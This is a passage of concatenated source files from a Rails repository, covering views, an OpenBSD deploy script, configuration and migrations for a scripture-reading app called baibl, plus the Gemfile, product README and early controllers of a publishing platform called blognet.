        <%= button_to bookmark ? "🔖" : "📌", bookmark ? bookmark_path(bookmark) : bookmarks_path(verse_id: verse.id), method: bookmark ? :delete : :post, class: ("active" if bookmark), data: { turbo_stream: true } %>
      <% end %>
    </span>
  <% end %>
</section>

rails/baibl/app/views/scriptures/index.html.erb

<% content_for :title, "Scripture" %>
<nav>
  <% @books.each do |book| %>
    <%= link_to book.abbreviation, scripture_book_path(book.abbreviation), title: book.name %>
  <% end %>
</nav>
<% if @books.any? %>
  <p>Select a book to begin reading.</p>
<% end %>

rails/baibl/app/views/scriptures/search.html.erb

<% content_for :title, "Search" %>
<%= form_with url: scripture_search_path, method: :get do |f| %>
  <%= f.search_field :q, value: @query, placeholder: "Search scripture…", autofocus: true %>
  <%= f.submit "Search" %>
<% end %>
<% if @results %>
  <p><%= @results.size %> results for "<%= @query %>"</p>
  <% @results.each do |verse| %>
    <article>
      <p><%= verse.book.abbreviation %> <%= verse.chapter.number %>:<%= verse.number %></p>
      <p><%= verse.content %></p>
    </article>
  <% end %>
<% end %>

rails/baibl/app/views/sessions/new.html.erb

<% if flash[:alert] %><p role="alert"><%= flash[:alert] %></p><% end %>
<% if flash[:notice] %><p role="status"><%= flash[:notice] %></p><% end %>

<%= form_with url: session_path do |form| %>
  <p><%= form.email_field :email_address, required: true, autofocus: true, autocomplete: "username", placeholder: "Enter your email address", value: params[:email_address] %></p>
  <p><%= form.password_field :password, required: true, autocomplete: "current-password", placeholder: "Enter your password", maxlength: 72 %></p>
  <p><%= form.submit "Sign in" %></p>
<% end %>

<p><%= link_to "Forgot password?", new_password_path %></p>

rails/baibl/baibl.sh

#!/usr/bin/env zsh
# baibl.sh — deploys the tracked Baibl Rails tree at app/.
set -euo pipefail

APP_NAME=baibl
APP_DIR=/home/${APP_NAME}/app
APP_PORT=10007
APP_DOMAIN=baibl.no
SCRIPT_DIR=${0:a:h}
SRC_DIR=${SCRIPT_DIR}
SHARED_BUNDLE_CACHE=${SHARED_BUNDLE_CACHE:-/var/cache/pub4/bundle/ruby34}

. "${SCRIPT_DIR:h}/shared/deploy/@shared_functions.sh"

need_cmd ruby34 bundle doas

[[ -d $SRC_DIR ]] || { log_err "missing source tree: $SRC_DIR"; exit 1; }

log "${APP_NAME} — deploying tracked tree → ${APP_DIR}"

id "$APP_NAME" >/dev/null 2>&1 || doas useradd -m -L daemon -s /bin/ksh "$APP_NAME"
doas mkdir -p "$APP_DIR"

# Parametric shared grammar layer first (provides base classes, concerns, bins, assets, config)
doas cp -R "${SCRIPT_DIR:h}/shared/bin/." "${APP_DIR}/bin/" 2>/dev/null || true
doas cp -R "${SCRIPT_DIR:h}/shared/public/." "${APP_DIR}/public/" 2>/dev/null || true
doas cp -R "${SCRIPT_DIR:h}/shared/config/." "${APP_DIR}/config/" 2>/dev/null || true
doas cp -R "${SCRIPT_DIR:h}/shared/app/." "${APP_DIR}/app/" 2>/dev/null || true
doas cp "${SCRIPT_DIR:h}/shared/Rakefile" "${APP_DIR}/Rakefile" 2>/dev/null || true
doas cp "${SCRIPT_DIR:h}/shared/config.ru" "${APP_DIR}/config.ru" 2>/dev/null || true

# Per-app tracked tree last (specialized instances + custom overrides win)
doas cp -R "${SRC_DIR}/." "${APP_DIR}/"
doas chown -R "${APP_NAME}:${APP_NAME}" "$APP_DIR"

cd "$APP_DIR"

typeset bundle_home="/home/${APP_NAME}/.bundle"
doas mkdir -p "$bundle_home"

if [[ ! -d ${bundle_home}/gems ]]; then
  if [[ -d ${SHARED_BUNDLE_CACHE}/gems ]]; then
    log "Bootstrapping gems from ${SHARED_BUNDLE_CACHE}"
    doas cp -R "${SHARED_BUNDLE_CACHE}/gems" "$bundle_home/"
    [[ -d ${SHARED_BUNDLE_CACHE}/cache ]] && doas cp -R "${SHARED_BUNDLE_CACHE}/cache" "$bundle_home/" || true
  else
    log_warn "No shared bundle cache found; bundle install will resolve gems normally"
  fi
  doas chown -R "${APP_NAME}:${APP_NAME}" "$bundle_home"
fi

doas mkdir -p "${APP_DIR}/.bundle"
print -- "---\nBUNDLE_PATH: \"${bundle_home}/gems\"" | doas tee "${APP_DIR}/.bundle/config" >/dev/null
doas chown -R "${APP_NAME}:${APP_NAME}" "${APP_DIR}/.bundle"

doas -u "$APP_NAME" sh -c "cd ${APP_DIR} && bundle config set --local deployment true && bundle config set --local without 'development test' && RAILS_ENV=production bundle install"
doas -u "$APP_NAME" sh -c "cd ${APP_DIR} && RAILS_ENV=production bin/rails db:create db:migrate"
[[ -f ${APP_DIR}/db/seeds.rb ]] && doas -u "$APP_NAME" sh -c "cd ${APP_DIR} && RAILS_ENV=production bin/rails db:seed" || true

install_rcd "$APP_NAME" "$APP_DIR" "$APP_PORT" "$APP_NAME"
[[ -n $APP_DOMAIN ]] && relayd_add_relay "$APP_DOMAIN" "$APP_PORT"

doas rcctl restart "$APP_NAME" || doas rcctl start "$APP_NAME"
log_ok "$APP_NAME live on :$APP_PORT"

rails/baibl/config/application.rb

# frozen_string_literal: true

require_relative "boot"

require "rails"
# Pick the frameworks you want:
require "active_model/railtie"
require "active_job/railtie"
require "active_record/railtie"
require "active_storage/engine"
require "action_controller/railtie"
require "action_mailer/railtie"
require "action_mailbox/engine"
require "action_text/engine"
require "action_view/railtie"
require "action_cable/engine"
# require "rails/test_unit/railtie"

# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)

module App
  class Application < Rails::Application
    # Initialize configuration defaults for originally generated Rails version.
    config.load_defaults 8.1

    # Please, add to the `ignore` list any other `lib` subdirectories that do
    # not contain `.rb` files, or that should not be reloaded or eager loaded.
    # Common ones are `templates`, `generators`, or `middleware`, for example.
    config.autoload_lib(ignore: %w[assets tasks])

    # Configuration for the application, engines, and railties goes here.
    #
    # These settings can be overridden in specific environments using the files
    # in config/environments, which are processed later.
    #
    # config.time_zone = "Central Time (US & Canada)"
    # config.eager_load_paths << Rails.root.join("extras")

    # Don't generate system test files.
    config.generators.system_tests = nil
  end
end

rails/baibl/config/cable.yml

development:
  adapter: async

test:
  adapter: test

production:
  adapter: redis
  url: <%= ENV.fetch("REDIS_URL") { "redis://localhost:6379/1" } %>
  channel_prefix: app_production

rails/baibl/config/database.yml

# SQLite. Versions 3.8.0 and up are supported.
#   gem install sqlite3
#
#   Ensure the SQLite 3 gem is defined in your Gemfile
#   gem "sqlite3"
#
default: &default
  adapter: sqlite3
  max_connections: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
  timeout: 5000

development:
  <<: *default
  database: storage/development.sqlite3

# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
  <<: *default
  database: storage/test.sqlite3

# Store production database in the storage/ directory, which by default
# is mounted as a persistent Docker volume in config/deploy.yml.
production:
  primary:
    <<: *default
    database: storage/production.sqlite3
  cache:
    <<: *default
    database: storage/production_cache.sqlite3
    migrations_paths: db/cache_migrate
  queue:
    <<: *default
    database: storage/production_queue.sqlite3
    migrations_paths: db/queue_migrate
  cable:
    <<: *default
    database: storage/production_cable.sqlite3
    migrations_paths: db/cable_migrate

rails/baibl/config/deploy.yml

# Name of your application. Used to uniquely configure containers.
service: app

# Name of the container image (use your-user/app-name on external registries).
image: app

# Deploy to these servers.
servers:
  web:
    - 192.168.0.1
  # job:
  #   hosts:
  #     - 192.168.0.1
  #   cmd: bin/jobs

# Enable SSL auto certification via Let's Encrypt and allow for multiple apps on a single web server.
# If used with Cloudflare, set encryption mode in SSL/TLS setting to "Full" to enable CF-to-app encryption.
#
# TLS terminates at relayd in this repo. Rails should set config.assume_ssl and leave config.force_ssl disabled.
#
# Don't use this when deploying to multiple web servers (then you have to terminate SSL at your load balancer).
#
# proxy:
#   ssl: true
#   host: baibl.no

# Where you keep your container images.
registry:
  # Alternatives: hub.docker.com / registry.digitalocean.com / ghcr.io / ...
  server: localhost:5555

  # Needed for authenticated registries.
  # username: your-user

  # Always use an access token rather than real password when possible.
  # password:
  #   - KAMAL_REGISTRY_PASSWORD

# Inject ENV variables into containers (secrets come from .kamal/secrets).
env:
  secret:
    - RAILS_MASTER_KEY
  clear:
    # Run the Solid Queue Supervisor inside the web server's Puma process to do jobs.
    # When you start using multiple servers, you should split out job processing to a dedicated machine.
    SOLID_QUEUE_IN_PUMA: true

    # Set number of processes dedicated to Solid Queue (default: 1)
    # JOB_CONCURRENCY: 3

    # Set number of cores available to the application on each server (default: 1).
    # WEB_CONCURRENCY: 2

    # Match this to any external database server to configure Active Record correctly
    # Use app-db for a db accessory server on same machine via local kamal docker network.
    # DB_HOST: 192.168.0.2

    # Log everything from Rails
    # RAILS_LOG_LEVEL: debug

# Aliases are triggered with "bin/kamal <alias>". You can overwrite arguments on invocation:
# "bin/kamal logs -r job" will tail logs from the first server in the job section.
aliases:
  console: app exec --interactive --reuse "bin/rails console"
  shell: app exec --interactive --reuse "bash"
  logs: app logs -f
  dbc: app exec --interactive --reuse "bin/rails dbconsole --include-password"

# Use a persistent storage volume for sqlite database files and local Active Storage files.
# Recommended to change this to a mounted volume path that is backed up off server.
volumes:
  - "app_storage:/rails/storage"

# Bridge fingerprinted assets, like JS and CSS, between versions to avoid
# hitting 404 on in-flight requests. Combines all files from new and old
# version inside the asset_path.
asset_path: /rails/public/assets

# Configure the image builder.
builder:
  arch: amd64

  # # Build image via remote server (useful for faster amd64 builds on arm64 computers)
  # remote: ssh://docker@docker-builder-server
  #
  # # Pass arguments and secrets to the Docker build process
  # args:
  #   RUBY_VERSION: ruby-3.4.9
  # secrets:
  #   - GITHUB_TOKEN
  #   - RAILS_MASTER_KEY

# Use a different ssh user than root
# ssh:
#   user: app

# Use accessory services (secrets come from .kamal/secrets).
# accessories:
#   db:
#     image: mysql:8.0
#     host: 192.168.0.2
#     # Change to 3306 to expose port to the world instead of just local network.
#     port: "127.0.0.1:3306:3306"
#     env:
#       clear:
#         MYSQL_ROOT_HOST: '%'
#       secret:
#         - MYSQL_ROOT_PASSWORD
#     files:
#       - config/mysql/production.cnf:/etc/mysql/my.cnf
#       - db/production.sql:/docker-entrypoint-initdb.d/setup.sql
#     directories:
#       - data:/var/lib/mysql
#   redis:
#     image: valkey/valkey:8
#     host: 192.168.0.2
#     port: 6379
#     directories:
#       - data:/data

rails/baibl/config/environments/production.rb

# frozen_string_literal: true

require "active_support/core_ext/integer/time"

Rails.application.configure do
  # Settings specified here will take precedence over those in config/application.rb.

  # Code is not reloaded between requests.
  config.enable_reloading = false

  # Eager load code on boot for better performance and memory savings (ignored by Rake tasks).
  config.eager_load = true

  # Full error reports are disabled.
  config.consider_all_requests_local = false

  # Turn on fragment caching in view templates.
  config.action_controller.perform_caching = true

  # Cache assets for far-future expiry since they are all digest stamped.
  config.public_file_server.headers = { "cache-control" => "public, max-age=#{1.year.to_i}" }

  # Enable serving of images, stylesheets, and JavaScripts from an asset server.
  # config.asset_host = "http://assets.example.com"

  # Store uploaded files on the local file system (see config/storage.yml for options).
  config.active_storage.service = :local

  # Assume all access to the app is happening through a SSL-terminating reverse proxy.
  config.assume_ssl = true

  # TLS terminates at OpenBSD relayd; Rails must not own HTTPS redirects.
  # config.force_ssl = true

  # Skip http-to-https redirect for the default health check endpoint.
  # config.ssl_options = { redirect: { exclude: ->(request) { request.path == "/up" } } }

  # Log to STDOUT with the current request id as a default log tag.
  config.log_tags = [ :request_id ]
  config.logger   = ActiveSupport::TaggedLogging.logger(STDOUT)

  # Change to "debug" to log everything (including potentially personally-identifiable information!).
  config.log_level = ENV.fetch("RAILS_LOG_LEVEL", "info")

  # Prevent health checks from clogging up the logs.
  config.silence_healthcheck_path = "/up"

  # Don't log any deprecations.
  config.active_support.report_deprecations = false

  # Replace the default in-process memory cache store with a durable alternative.
  config.cache_store = :solid_cache_store

  # Replace the default in-process and non-durable queuing backend for Active Job.
  config.active_job.queue_adapter = :solid_queue
  config.solid_queue.connects_to = { database: { writing: :queue } }

  # Ignore bad email addresses and do not raise email delivery errors.
  # Set this to true and configure the email server for immediate delivery to raise delivery errors.
  # config.action_mailer.raise_delivery_errors = false

  # Set host to be used by links generated in mailer templates.
  config.action_mailer.default_url_options = { host: "baibl.no", protocol: "https" }

  # Specify outgoing SMTP server. Remember to add smtp/* credentials via bin/rails credentials:edit.
  # config.action_mailer.smtp_settings = {
  #   user_name: Rails.application.credentials.dig(:smtp, :user_name),
  #   password: Rails.application.credentials.dig(:smtp, :password),
  #   address: "smtp.example.com",
  #   port: 587,
  #   authentication: :plain
  # }

  # Enable locale fallbacks for I18n (makes lookups for any locale fall back to
  # the I18n.default_locale when a translation cannot be found).
  config.i18n.fallbacks = true

  # Do not dump schema after migrations.
  config.active_record.dump_schema_after_migration = false

  # Only use :id for inspections in production.
  config.active_record.attributes_for_inspect = [ :id ]

  config.hosts = ["baibl.no", "www.baibl.no"]
  config.host_authorization = { exclude: ->(request) { request.path == "/up" } }
end

rails/baibl/config/importmap.rb

# frozen_string_literal: true

# Pin npm packages by running ./bin/importmap

pin "application"
pin "@hotwired/turbo-rails", to: "turbo.min.js"
pin "@hotwired/stimulus", to: "@hotwired--stimulus.js" # @3.2.2
pin "@hotwired/stimulus-loading", to: "stimulus-loading.js"
pin_all_from "app/javascript/controllers", under: "controllers"
pin "@stimulus-components/dialog", to: "@stimulus-components--dialog.js" # @1.0.1
pin "@stimulus-components/auto-submit", to: "@stimulus-components--auto-submit.js" # @6.0.0
pin "@stimulus-components/character-counter", to: "@stimulus-components--character-counter.js" # @5.1.0
pin "@stimulus-components/dropdown", to: "@stimulus-components--dropdown.js" # @3.0.0
pin "stimulus-use" # @0.52.3
pin "@stimulus-components/clipboard", to: "@stimulus-components--clipboard.js" # @5.0.0
pin "@stimulus-components/notification", to: "@stimulus-components--notification.js" # @3.0.0
pin "@stimulus-components/timeago", to: "@stimulus-components--timeago.js" # @5.0.2
pin "date-fns" # @4.1.0
pin "@stimulus-components/animated-number", to: "@stimulus-components--animated-number.js" # @5.0.0
pin "@stimulus-components/sortable", to: "@stimulus-components--sortable.js" # @5.0.3
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_request", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_request.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_response", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_response.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/lib/utils", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--lib--utils.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/request_interceptor", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--request_interceptor.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/verbs", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--verbs.js" # @0.0.13
pin "@rails/request.js", to: "@rails--request.js.js" # @0.0.13
pin "sortablejs" # @1.15.7

rails/baibl/config/puma.rb

# frozen_string_literal: true

# This configuration file will be evaluated by Puma. The top-level methods that
# are invoked here are part of Puma's configuration DSL. For more information
# about methods provided by the DSL, see https://puma.io/puma/Puma/DSL.html.
#
# Puma starts a configurable number of processes (workers) and each process
# serves each request in a thread from an internal thread pool.
#
# You can control the number of workers using ENV["WEB_CONCURRENCY"]. You
# should only set this value when you want to run 2 or more workers. The
# default is already 1. You can set it to `auto` to automatically start a worker
# for each available processor.
#
# The ideal number of threads per worker depends both on how much time the
# application spends waiting for IO operations and on how much you wish to
# prioritize throughput over latency.
#
# As a rule of thumb, increasing the number of threads will increase how much
# traffic a given process can handle (throughput), but due to CRuby's
# Global VM Lock (GVL) it has diminishing returns and will degrade the
# response time (latency) of the application.
#
# The default is set to 3 threads as it's deemed a decent compromise between
# throughput and latency for the average Rails application.
#
# Any libraries that use a connection pool or another resource pool should
# be configured to provide at least as many connections as the number of
# threads. This includes Active Record's `pool` parameter in `database.yml`.
threads_count = ENV.fetch("RAILS_MAX_THREADS", 3)
threads threads_count, threads_count

# Specifies the `port` that Puma will listen on to receive requests; default is 3000.
port ENV.fetch("PORT", 3000)

# Allow puma to be restarted by `bin/rails restart` command.
plugin :tmp_restart

# Run the Solid Queue supervisor inside of Puma for single-server deployments.
plugin :solid_queue if ENV["SOLID_QUEUE_IN_PUMA"]

# Specify the PID file. Defaults to tmp/pids/server.pid in development.
# In other environments, only set the PID file if requested.
pidfile ENV["PIDFILE"] if ENV["PIDFILE"]

rails/baibl/config/routes.rb

# frozen_string_literal: true

Rails.application.routes.draw do
  resource  :session
  resources :passwords, param: :token

  root "scriptures#index"

  get "scripture",                to: "scriptures#index",   as: :scripture_index
  get "scripture/:abbreviation",  to: "scriptures#book",    as: :scripture_book
  get "scripture/:book_abbreviation/:number", to: "scriptures#chapter", as: :scripture_chapter
  get "search",                   to: "scriptures#search",    as: :scripture_search
  get "word_study",               to: "scriptures#word_study", as: :scripture_word_study

  resources :highlights, only: %i[create destroy]
  resources :bookmarks

  get 'manifest' => 'rails/pwa#manifest', as: :pwa_manifest
  get 'service-worker' => 'rails/pwa#service_worker', as: :pwa_service_worker
  get "up", to: "rails/health#show", as: :rails_health_check
end

rails/baibl/db/migrate/20260501020807_create_users.rb

# frozen_string_literal: true

class CreateUsers < ActiveRecord::Migration[8.1]
  def change
    create_table :users do |t|
      t.string :email_address, null: false
      t.string :password_digest, null: false

      t.timestamps
    end
    add_index :users, :email_address, unique: true
  end
end

rails/baibl/db/migrate/20260501020818_create_sessions.rb

# frozen_string_literal: true

class CreateSessions < ActiveRecord::Migration[8.1]
  def change
    create_table :sessions do |t|
      t.references :user, null: false, foreign_key: true
      t.string :ip_address
      t.string :user_agent

      t.timestamps
    end
  end
end

rails/baibl/db/migrate/20260507120001_create_books.rb

# frozen_string_literal: true

class CreateBooks < ActiveRecord::Migration[8.1]
  def change
    create_table :books do |t|
      t.string :name
      t.string :abbreviation
      t.string :testament
      t.integer :chapter_count
      t.integer :order_index
      t.timestamps
    end
  end
end

rails/baibl/db/migrate/20260507120002_create_chapters.rb

# frozen_string_literal: true

class CreateChapters < ActiveRecord::Migration[8.1]
  def change
    create_table :chapters do |t|
      t.references :book, foreign_key: true
      t.integer :number
      t.timestamps
    end
  end
end

rails/baibl/db/migrate/20260507120003_create_verses.rb

# frozen_string_literal: true

class CreateVerses < ActiveRecord::Migration[8.1]
  def change
    create_table :verses do |t|
      t.references :chapter, foreign_key: true
      t.references :book, foreign_key: true
      t.integer :number
      t.text :content
      t.timestamps
    end
  end
end

rails/baibl/db/migrate/20260507120004_create_highlights.rb

# frozen_string_literal: true

class CreateHighlights < ActiveRecord::Migration[8.1]
  def change
    create_table :highlights do |t|
      t.references :verse, foreign_key: true
      t.references :user, foreign_key: true
      t.string :color
      t.text :note
      t.timestamps
    end
  end
end

rails/baibl/db/migrate/20260507120005_create_bookmarks.rb

# frozen_string_literal: true

class CreateBookmarks < ActiveRecord::Migration[8.1]
  def change
    create_table :bookmarks do |t|
      t.references :verse, foreign_key: true
      t.references :user, foreign_key: true
      t.text :note
      t.timestamps
    end
  end
end

rails/baibl/db/migrate/20260507120006_create_reading_plans.rb

# frozen_string_literal: true

class CreateReadingPlans < ActiveRecord::Migration[8.1]
  def change
    create_table :reading_plans do |t|
      t.string :name
      t.text :description
      t.integer :duration_days
      t.references :user, foreign_key: true
      t.timestamps
    end
  end
end

rails/baibl/db/migrate/20260507120007_create_reading_plan_days.rb

# frozen_string_literal: true

class CreateReadingPlanDays < ActiveRecord::Migration[8.1]
  def change
    create_table :reading_plan_days do |t|
      t.references :reading_plan, foreign_key: true
      t.integer :day_number
      t.references :book, foreign_key: true
      t.integer :chapter_start
      t.integer :chapter_end
      t.datetime :completed_at
      t.timestamps
    end
  end
end

rails/baibl/db/migrate/20260507120008_create_cross_references.rb

# frozen_string_literal: true

class CreateCrossReferences < ActiveRecord::Migration[8.1]
  def change
    create_table :cross_references do |t|
      t.references :verse,        null: false, foreign_key: true
      t.references :target_verse, null: false, foreign_key: { to_table: :verses }
      t.string     :kind          # lexical | thematic | parallel | typological | fulfillment
      t.text       :note
      t.timestamps
    end
    add_index :cross_references, %i[verse_id target_verse_id], unique: true
  end
end

rails/baibl/db/migrate/20260507120009_create_word_studies.rb

# frozen_string_literal: true

class CreateWordStudies < ActiveRecord::Migration[8.1]
  def change
    create_table :word_studies do |t|
      t.references :verse,    null: false, foreign_key: true
      t.integer    :position, null: false   # 0-indexed word position in verse
      t.string     :word,     null: false   # surface form
      t.string     :original                # Hebrew / Greek / Arabic
      t.string     :transliteration
      t.string     :strongs                 # H1234 or G5678
      t.string     :language                # hebrew | greek | arabic
      t.text       :definition
      t.timestamps
    end
    add_index :word_studies, %i[verse_id position], unique: true
  end
end

rails/baibl/db/migrate/20260528000100_create_verses_fts.rb

# frozen_string_literal: true

class CreateVersesFts < ActiveRecord::Migration[8.1]
  def up
    execute <<~SQL
      CREATE VIRTUAL TABLE verses_fts USING fts5(
        content,
        content='verses', content_rowid='id',
        tokenize='unicode61'
      );
      INSERT INTO verses_fts(rowid, content) SELECT id, content FROM verses;
      CREATE TRIGGER verses_ai AFTER INSERT ON verses BEGIN
        INSERT INTO verses_fts(rowid, content) VALUES (new.id, new.content);
      END;
      CREATE TRIGGER verses_au AFTER UPDATE ON verses BEGIN
        INSERT INTO verses_fts(verses_fts, rowid, content)
          VALUES ('delete', old.id, old.content);
        INSERT INTO verses_fts(rowid, content) VALUES (new.id, new.content);
      END;
      CREATE TRIGGER verses_ad AFTER DELETE ON verses BEGIN
        INSERT INTO verses_fts(verses_fts, rowid, content)
          VALUES ('delete', old.id, old.content);
      END;
    SQL
  end

  def down
    execute "DROP TABLE IF EXISTS verses_fts"
    execute "DROP TRIGGER IF EXISTS verses_ai"
    execute "DROP TRIGGER IF EXISTS verses_au"
    execute "DROP TRIGGER IF EXISTS verses_ad"
  end
end

rails/baibl/db/seeds.rb

# frozen_string_literal: true

# This file should ensure the existence of records required to run the application in every environment (production,
# development, test). The code here should be idempotent so that it can be executed at any point in every environment.
# The data can then be loaded with the bin/rails db:seed command (or created alongside the database with db:setup).
#
# Example:
#
#   ["Action", "Comedy", "Drama", "Horror"].each do |genre_name|
#     MovieGenre.find_or_create_by!(name: genre_name)
#   end

rails/blognet/Gemfile

source "https://rubygems.org"
ruby "~> 3.4"

# Bundle edge Rails instead: gem "rails", github: "rails/rails", branch: "main"
gem "rails", "~> 8.1.2"
# The modern asset pipeline for Rails [https://github.com/rails/propshaft]
gem "propshaft"
# Use sqlite3 as the database for Active Record
gem "sqlite3", ">= 2.1"
# Use the Puma web server [https://github.com/puma/puma]
# Use JavaScript with ESM import maps [https://github.com/rails/importmap-rails]
gem "importmap-rails"
# Hotwire's SPA-like page accelerator [https://turbo.hotwired.dev]
gem "turbo-rails"
# Hotwire's modest JavaScript framework [https://stimulus.hotwired.dev]
gem "stimulus-rails"
# Build JSON APIs with ease [https://github.com/rails/jbuilder]
gem "jbuilder"

# Use Active Model has_secure_password [https://guides.rubyonrails.org/active_model_basics.html#securepassword]
gem "bcrypt", "~> 3.1.7"

# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
gem "tzinfo-data", platforms: %i[ windows jruby ]

# Use the database-backed adapters for Rails.cache, Active Job, and Action Cable
gem "solid_cache"
gem "solid_queue"
gem "solid_cable"

# Reduces boot times through caching; required in config/boot.rb
gem "bootsnap", require: false

# Use Active Storage variants [https://guides.rubyonrails.org/active_storage_overview.html#transforming-images]
gem "image_processing", "~> 1.2"

group :development, :test do
  # See https://guides.rubyonrails.org/debugging_rails_applications.html#debugging-with-the-debug-gem
  gem "debug", platforms: %i[ mri windows ], require: "debug/prelude"

  # Audits gems for known security defects (use config/bundler-audit.yml to ignore issues)
  gem "bundler-audit", require: false

  # Static analysis for security vulnerabilities [https://brakemanscanner.org/]
  gem "brakeman", require: false

  # Omakase Ruby styling [https://github.com/rails/rubocop-rails-omakase/]
  gem "rubocop-rails-omakase", require: false
end

group :development do
  # Use console on exceptions pages [https://github.com/rails/web-console]
  gem "web-console"
end
gem "pagy"
gem "friendly_id"
gem "falcon"

rails/blognet/README.md

# blognet

blognet is the publishing and editorial network product.

It should mirror a standard Rails application structure:

- app
- config
- db
- lib
- public
- storage
- test

## Product role

blognet is a semantic publishing and knowledge platform built on Rails 8.

It combines longform writing, semantic discovery, AI-assisted editing, creator subscriptions, recipe/editorial verticals, and knowledge graph navigation into one durable publishing system.

## Core ownership

blognet owns:

- blogs
- posts
- recipes
- categories
- tags
- editorial workflows
- media embeds
- comments
- feeds
- structured article metadata
- author profiles
- publication discovery
- semantic search
- knowledge graph indexing

## Foodielicious

Foodielicious is the food vertical inside blognet.

Public brand:

foodielicio.us

Foodielicious direction:

- recipe-first editorial UX
- rich media galleries
- structured recipe schema
- ingredient metadata
- step-by-step cooking views
- short-form food clips
- locality-aware restaurant and ingredient references
- recipe collections and playlists
- seasonal food guides
- Norwegian food culture coverage

The inspiration is Matprat-style usefulness: recipes, guides, editorial food knowledge, seasonal collections, and practical cooking flows. The implementation, branding, copy, and visual identity should remain original.

## Shared platform dependencies

blognet should integrate with shared Rails platform systems:

- identity
- media pipeline
- comments
- moderation
- search
- notifications
- analytics
- structured data helpers
- Stimulus component registry

## Frontend direction

Use:

- Stimulus Components
- stimulus-lightbox
- lightGallery.js
- Turbo
- importmap

The public product should feel editorial and locality-aware, not like a generic CMS.

## Features

- longform publishing
- semantic search
- memberships
- subscriptions
- AI narration
- semantic clustering
- citation systems
- topic exploration
- recipe publishing
- media galleries
- food verticals

## Systems to build next

### Multimedia conversion

Convert:

- articles to podcast
- articles to summaries
- articles to video
- articles to threads

### Research mode

Support:

- semantic note systems
- source clustering
- timeline generation
- knowledge archives

### Recipe mode

Support:

- ingredients
- methods
- cook time
- difficulty
- nutrition metadata
- recipe cards
- collections
- gallery/video support

## Stack

Rails 8, PostgreSQL, pgvector, Hotwire, OpenBSD.

## AI direction

Use embeddings, semantic retrieval, GraphRAG, clustering, and knowledge graph indexing.

## Deploy

cd ~/pub4/DEPLOY/rails/blognet

doas zsh blognet.sh

## Long-term goal

Build a durable semantic publishing and knowledge network for independent writers and high-quality editorial verticals.

rails/blognet/app/channels/application_cable/connection.rb

# frozen_string_literal: true

module ApplicationCable
  class Connection < ActionCable::Connection::Base
    identified_by :current_user

    def connect
      set_current_user || reject_unauthorized_connection
    end

    private
      def set_current_user
        if session = Session.find_by(id: cookies.signed[:session_id])
          self.current_user = session.user
        end
      end
  end
end

rails/blognet/app/controllers/application_controller.rb

# frozen_string_literal: true

class ApplicationController < ActionController::Base
  include Authentication
  include Pagy::Method
  allow_browser versions: :modern
end

rails/blognet/app/controllers/blogs_controller.rb

# frozen_string_literal: true

class BlogsController < ApplicationController
  before_action :require_authentication, except: %i[index show]
  before_action :set_blog, only: %i[show edit update destroy]
  before_action :authorize!, only: %i[edit update destroy]

  def index
    @pagy, @blogs = pagy(Blog.published.includes(:user).recent)
  end

  def show
    @pagy, @posts = pagy(@blog.posts.published.includes(:user, :tags))
  end

  def new
    @blog = Current.user.blogs.build
  end

  def create
    @blog = Current.user.blogs.build(blog_params)
    @blog.save ? redirect_to(@blog, notice: "Blog created") : render(:new, status: :unprocessable_entity)
  end

  def edit; end

  def update
    @blog.update(blog_params) ? redirect_to(@blog, notice: "Updated") : render(:edit, status: :unprocessable_entity)
  end

  def destroy
    @blog.destroy
    redirect_to blogs_path, notice: "Blog deleted"
  end

  private

  def set_blog   = @blog = Blog.find_by!(slug: params[:id])
  def authorize! = redirect_to(blogs_path, alert: "Unauthorized") unless @blog.user == Current.user
  def blog_params = params.require(:blog).permit(:name, :description, :published, :banner)
end

rails/blognet/app/controllers/comments_controller.rb

# frozen_string_literal: true

class CommentsController < ApplicationController
  before_action :require_authentication
  before_action :set_post

  def create
    @comment = @post.comments.build(comment_params.merge(user: Current.user))
    if @comment.save
      respond_to do |format|
        format.turbo_stream
        format.html { redirect_to [@post.blog, @post] }
      end
    else
      render :new, status: :unprocessable_entity
    end
  end

  def destroy
    @comment = @post.comments.find(params[:id])
    @comment.destroy! if @comment.user == Current.user
    respond_to do |format|
      format.turbo_stream
      format.html { redirect_to [@post.blog, @post] }
    end
  end

  private

  def set_post = @post = Post.find_by!(slug: params[:post_id])

  def comment_params
    params.require(:comment).permit(:content, :parent_id)
  end
end

rails/blognet/app/controllers/concerns/authentication.rb

# frozen_string_literal: true

module Authentication
  extend ActiveSupport::Concern

  included do
    before_action :require_authentication
    helper_method :authenticated?
  end

  class_methods do
    def allow_unauthenticated_access(**options)
      skip_before_action :require_authentication, **options
    end
  end

  private
    def authenticated?
      resume_session
    end

    def require_authentication
      resume_session || request_authentication
    end

    def resume_session
      Current.session ||= find_session_by_cookie
    end

    def find_session_by_cookie
      Session.find_by(id: cookies.signed[:session_id]) if cookies.signed[:session_id]
    end

    def request_authentication
      session[:return_to_after_authenticating] = request.url
      redirect_to new_session_path
    end

    def after_authentication_url
      session.delete(:return_to_after_authenticating) || root_url
    end

    def start_new_session_for(user)
      user.sessions.create!(user_agent: request.user_agent, ip_address: request.remote_ip).tap do |session|
        Current.session = session
        cookies.signed.permanent[:session_id] = { value: session.id, httponly: true, same_site: :lax }
      end
    end

    def terminate_session
      Current.session.destroy
      cookies.delete(:session_id)
    end
end

rails/blognet/app/controllers/passwords_controller.rb

# frozen_string_literal: true

class PasswordsController < ApplicationController
  allow_unauthenticated_access
  before_action :set_user_by_token, only: %i[ edit update ]
